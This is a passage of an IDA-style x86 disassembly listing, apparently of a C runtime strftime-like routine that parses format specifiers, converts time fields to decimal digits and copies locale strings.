loc_42E960: ; CODE XREF: ___:0042E955j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42E9D6
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+38h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+68h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
jmp short loc_42E957
; ---------------------------------------------------------------------------
loc_42E9D6: ; CODE XREF: ___:0042E964j
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+98h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+98h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+9Ch], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+9Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A0h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A0h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+0A4h], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+0A4h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_4184C0
add esp, 8
push eax
call sub_414BE0
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A8h], edx
loc_42EAB6: ; CODE XREF: ___:0042E899j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42EAE0
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EAE0 proc near ; CODE XREF: ___:0042EAD5p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_10], 0
jnz short loc_42EAF6
mov eax, off_444DA8
mov [ebp+var_10], eax
jmp short loc_42EAFC
; ---------------------------------------------------------------------------
loc_42EAF6: ; CODE XREF: sub_42EAE0+Aj
mov ecx, [ebp+arg_10]
mov [ebp+var_10], ecx
loc_42EAFC: ; CODE XREF: sub_42EAE0+14j
mov edx, [ebp+var_10]
mov [ebp+var_4], edx
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
push offset dword_4DB45C
call near ptr 2840CCAh
nop
cmp dword_4DB458, 0
jz short loc_42EB3A
push offset dword_4DB45C
call near ptr 2840C7Bh
nop
push 13h
call sub_41B780
add esp, 4
mov [ebp+var_8], 1
jmp short loc_42EB41
; ---------------------------------------------------------------------------
loc_42EB3A: ; CODE XREF: sub_42EAE0+3Aj
mov [ebp+var_8], 0
loc_42EB41: ; CODE XREF: sub_42EAE0+58j
; sub_42EAE0:loc_42EC2Dj
cmp [ebp+var_C], 0
jbe loc_42EC32
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [ebp+var_14], dl
cmp [ebp+var_14], 0
jz short loc_42EB61
cmp [ebp+var_14], 25h
jz short loc_42EB66
jmp short loc_42EBC0
; ---------------------------------------------------------------------------
loc_42EB61: ; CODE XREF: sub_42EAE0+77j
jmp loc_42EC32
; ---------------------------------------------------------------------------
loc_42EB66: ; CODE XREF: sub_42EAE0+7Dj
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
mov dword_4DB450, 0
mov ecx, [ebp+arg_8]
movsx edx, byte ptr [ecx]
cmp edx, 23h
jnz short loc_42EB97
mov dword_4DB450, 1
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42EB97: ; CODE XREF: sub_42EAE0+A2j
mov ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
mov al, [edx]
push eax
call sub_42EC70
add esp, 14h
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_42EC2D
; ---------------------------------------------------------------------------
loc_42EBC0: ; CODE XREF: sub_42EAE0+7Fj
mov edx, [ebp+arg_8]
xor eax, eax
mov al, [edx]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_42EC08
cmp [ebp+var_C], 1
jbe short loc_42EC08
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_42EC08: ; CODE XREF: sub_42EAE0+FBj
; sub_42EAE0+101j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_42EC2D: ; CODE XREF: sub_42EAE0+DEj
jmp loc_42EB41
; ---------------------------------------------------------------------------
loc_42EC32: ; CODE XREF: sub_42EAE0+65j
; sub_42EAE0:loc_42EB61j
cmp [ebp+var_8], 0
jz short loc_42EC44
push 13h
call sub_41B820
add esp, 4
jmp short loc_42EC4F
; ---------------------------------------------------------------------------
loc_42EC44: ; CODE XREF: sub_42EAE0+156j
push offset dword_4DB45C
call near ptr 2840C7Bh
nop
loc_42EC4F: ; CODE XREF: sub_42EAE0+162j
cmp [ebp+var_C], 0
jbe short loc_42EC63
mov eax, [ebp+arg_0]
mov byte ptr [eax], 0
mov eax, [ebp+arg_4]
sub eax, [ebp+var_C]
jmp short loc_42EC65
; ---------------------------------------------------------------------------
loc_42EC63: ; CODE XREF: sub_42EAE0+173j
xor eax, eax
loc_42EC65: ; CODE XREF: sub_42EAE0+181j
mov esp, ebp
pop ebp
retn
sub_42EAE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EC70 proc near ; CODE XREF: sub_42EAE0+CDp
; sub_42F440+3ECp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
movsx eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
sub ecx, 25h
mov [ebp+var_C], ecx
cmp [ebp+var_C], 55h
ja loc_42F1D8
mov eax, [ebp+var_C]
xor edx, edx
mov dl, byte_42F239[eax]
jmp off_42F1DD[edx*4]
loc_42ECA3: ; DATA XREF: ___:0042F20Do
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4]
push eax
call sub_42F290
add esp, 0Ch
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42ECC5: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F1E1o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+1Ch]
push eax
call sub_42F290
add esp, 0Ch
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42ECE8: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F211o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+38h]
push eax
call sub_42F290
add esp, 0Ch
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42ED0B: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F1E5o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+68h]
push eax
call sub_42F290
add esp, 0Ch
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42ED2E: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F215o
cmp dword_4DB450, 0
jz short loc_42EDB6
mov dword_4DB450, 0
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A4h]
push eax
call sub_42F440
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_42ED70
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42ED70: ; CODE XREF: sub_42EC70+F9j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_42F440
add esp, 14h
jmp short loc_42EE29
; ---------------------------------------------------------------------------
loc_42EDB6: ; CODE XREF: sub_42EC70+C5j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A0h]
push eax
call sub_42F440
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_42EDE5
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EDE5: ; CODE XREF: sub_42EC70+16Ej
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_42F440
add esp, 14h
loc_42EE29: ; CODE XREF: sub_42EC70+144j
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EE2E: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F219o
mov ecx, dword_4DB450
mov dword_4DB454, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EE58: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F1E9o
mov eax, dword_4DB450
mov dword_4DB454, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EE80: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F1EDo
mov edx, dword_4DB450
mov dword_4DB454, edx
mov eax, [ebp+arg_4]
mov eax, [eax+8]
cdq
mov ecx, 0Ch
idiv ecx
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jnz short loc_42EEAA
mov [ebp+var_4], 0Ch
loc_42EEAA: ; CODE XREF: sub_42EC70+231j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EEC5: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F21Do
mov edx, dword_4DB450
mov dword_4DB454, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 3
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
add eax, 1
push eax
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EEF2: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F221o
mov ecx, dword_4DB450
mov dword_4DB454, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
add edx, 1
push edx
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EF1F: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F1F1o
mov eax, dword_4DB450
mov dword_4DB454, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EF47: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F225o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_42EF6C
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+98h]
push eax
call sub_42F290
add esp, 0Ch
jmp short loc_42EF86
; ---------------------------------------------------------------------------
loc_42EF6C: ; CODE XREF: sub_42EC70+2DEj
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_10]
mov ecx, [eax+9Ch]
push ecx
call sub_42F290
add esp, 0Ch
loc_42EF86: ; CODE XREF: sub_42EC70+2FAj
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EF8B: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F1F5o
mov edx, dword_4DB450
mov dword_4DB454, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+arg_4]
mov eax, [edx]
push eax
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EFB4: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F1F9o
mov ecx, dword_4DB450
mov dword_4DB454, ecx
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
mov [ebp+var_8], eax
jmp short loc_42F01D
; ---------------------------------------------------------------------------
loc_42EFCB: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F229o
mov ecx, dword_4DB450
mov dword_4DB454, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 1
mov ecx, [ebp+arg_4]
mov edx, [ecx+18h]
push edx
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42EFF5: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F1FDo
mov eax, dword_4DB450
mov dword_4DB454, eax
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+18h], 0
jnz short loc_42F011
mov [ebp+var_8], 6
jmp short loc_42F01D
; ---------------------------------------------------------------------------
loc_42F011: ; CODE XREF: sub_42EC70+396j
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
sub eax, 1
mov [ebp+var_8], eax
loc_42F01D: ; CODE XREF: sub_42EC70+359j
; sub_42EC70+39Fj
mov ecx, [ebp+arg_4]
mov edx, [ecx+1Ch]
cmp edx, [ebp+var_8]
jge short loc_42F031
mov [ebp+var_4], 0
jmp short loc_42F05E
; ---------------------------------------------------------------------------
loc_42F031: ; CODE XREF: sub_42EC70+3B6j
mov eax, [ebp+arg_4]
mov eax, [eax+1Ch]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], eax
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
cdq
mov ecx, 7
idiv ecx
cmp edx, [ebp+var_8]
jl short loc_42F05E
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42F05E: ; CODE XREF: sub_42EC70+3BFj
; sub_42EC70+3E3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+var_4]
push edx
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42F079: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F22Do
cmp dword_4DB450, 0
jz short loc_42F0B0
mov dword_4DB450, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A4h]
push edx
call sub_42F440
add esp, 14h
jmp short loc_42F0D2
; ---------------------------------------------------------------------------
loc_42F0B0: ; CODE XREF: sub_42EC70+410j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A0h]
push edx
call sub_42F440
add esp, 14h
loc_42F0D2: ; CODE XREF: sub_42EC70+43Ej
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42F0D7: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F201o
mov dword_4DB450, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A8h]
push edx
call sub_42F440
add esp, 14h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42F108: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F231o
mov eax, dword_4DB450
mov dword_4DB454, eax
mov ecx, [ebp+arg_4]
mov eax, [ecx+14h]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_42F2E0
add esp, 10h
jmp loc_42F1D8
; ---------------------------------------------------------------------------
loc_42F13E: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F205o
mov edx, dword_4DB450
mov dword_4DB454, edx
mov eax, [ebp+arg_4]
mov eax, [eax+14h]
cdq
mov ecx, 64h
idiv ecx
mov ecx, eax
add ecx, 13h
imul ecx, 64h
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
cdq
mov esi, 64h
idiv esi
add ecx, edx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 4
mov edx, [ebp+var_4]
push edx
call sub_42F2E0
add esp, 10h
jmp short loc_42F1D8
; ---------------------------------------------------------------------------
loc_42F18B: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:0042F209o
call sub_428EB0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
xor eax, eax
cmp dword ptr [edx+20h], 0
setnz al
mov ecx, off_44456C[eax*4]
push ecx
call sub_42F290
add esp, 0Ch
jmp short loc_42F1D8
; ---------------------------------------------------------------------------
loc_42F1B6: ; CODE XREF: sub_42EC70+2Cj
; DATA XREF: ___:off_42F1DDo
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 25h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_42F1D8: ; CODE XREF: sub_42EC70+1Bj
; sub_42EC70+2Cj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_42EC70 endp
; ---------------------------------------------------------------------------
off_42F1DD dd offset loc_42F1B6 ; DATA XREF: sub_42EC70+2Cr
dd offset loc_42ECC5
dd offset loc_42ED0B
dd offset loc_42EE58
dd offset loc_42EE80
dd offset loc_42EF1F
dd offset loc_42EF8B
dd offset loc_42EFB4
dd offset loc_42EFF5
dd offset loc_42F0D7
dd offset loc_42F13E
dd offset loc_42F18B
dd offset loc_42ECA3
dd offset loc_42ECE8
dd offset loc_42ED2E
dd offset loc_42EE2E
dd offset loc_42EEC5
dd offset loc_42EEF2
dd offset loc_42EF47
dd offset loc_42EFCB
dd offset loc_42F079
dd offset loc_42F108
dd offset loc_42F1D8
byte_42F239 db 0 ; DATA XREF: sub_42EC70+26r
dw 1616h
dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h
dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
dd 0CC0B1514h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F290 proc near ; CODE XREF: sub_42EC70+48p
; sub_42EC70+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
loc_42F293: ; CODE XREF: sub_42F290+44j
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 0
jz short loc_42F2D6
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42F2D6
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_4]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_4]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
jmp short loc_42F293
; ---------------------------------------------------------------------------
loc_42F2D6: ; CODE XREF: sub_42F290+9j
; sub_42F290+13j
pop ebp
retn
sub_42F290 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F2E0 proc near ; CODE XREF: sub_42EC70+1DBp
; sub_42EC70+203p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
cmp dword_4DB454, 0
jz short loc_42F30A
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42F390
add esp, 0Ch
jmp short loc_42F389
; ---------------------------------------------------------------------------
loc_42F30A: ; CODE XREF: sub_42F2E0+12j
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
cmp ecx, [eax]
jnb short loc_42F380
mov edx, [ebp+arg_4]
sub edx, 1
mov [ebp+arg_4], edx
jmp short loc_42F328
; ---------------------------------------------------------------------------
loc_42F31F: ; CODE XREF: sub_42F2E0+82j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
loc_42F328: ; CODE XREF: sub_42F2E0+3Dj
mov ecx, [ebp+arg_4]
add ecx, 1
test ecx, ecx
jz short loc_42F364
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov eax, [ebp+arg_4]
mov [ecx+eax], dl
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_42F31F
; ---------------------------------------------------------------------------
loc_42F364: ; CODE XREF: sub_42F2E0+50j
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp short loc_42F389
; ---------------------------------------------------------------------------
loc_42F380: ; CODE XREF: sub_42F2E0+32j
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_42F389: ; CODE XREF: sub_42F2E0+28j
; sub_42F2E0+9Ej
mov esp, ebp
pop ebp
retn
sub_42F2E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F390 proc near ; CODE XREF: sub_42F2E0+20p
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
jbe short loc_42F3EB
loc_42F3A6: ; CODE XREF: sub_42F390+59j
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jle short loc_42F3EB
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
ja short loc_42F3A6
loc_42F3EB: ; CODE XREF: sub_42F390+14j
; sub_42F390+51j
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42F404: ; CODE XREF: sub_42F390+A6j
mov edx, [ebp+var_4]
mov al, [edx]
mov [ebp+var_C], al
mov ecx, [ebp+var_4]
mov edx, [ebp+var_8]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
mov al, [ebp+var_C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jb short loc_42F404
mov esp, ebp
pop ebp
retn
sub_42F390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F440 proc near ; CODE XREF: sub_42EC70+EBp
; sub_42EC70+13Cp ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 30h
loc_42F446: ; CODE XREF: sub_42F440+2EAj
; sub_42F440:loc_42F80Bj ...
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_42F8BC
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_42F8BC
